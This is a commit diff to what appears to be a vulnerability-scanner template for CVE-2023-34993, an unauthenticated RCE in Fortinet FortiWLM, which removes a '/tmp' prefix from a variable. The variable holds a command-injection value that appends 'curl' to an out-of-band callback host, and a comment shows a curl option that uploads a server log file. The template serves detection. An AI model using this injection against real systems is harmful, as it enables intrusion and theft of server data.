refactor(http): remove `/tmp` path in `progressfile` var

assumes that the `$systemTempDir` val is `/tmp`

Signed-off-by: Dwi Siswanto <git@dw1.io>

http/cves/2023/CVE-2023-34993.yaml

@@ -23,7 +23,7 @@ info:
   tags: cve,cve2023,fortinet,fortiwlm,rce,unauth
 
 variables:
-  progressfile: '/tmp/{{rand_base(5)}};curl {{interactsh-url}} #' # -F "file=/data/apps/nms/logs/httpd_error_log"
+  progressfile: '{{rand_base(5)}};curl {{interactsh-url}} #' # -F "file=/data/apps/nms/logs/httpd_error_log"
 
 http:
   - method: GET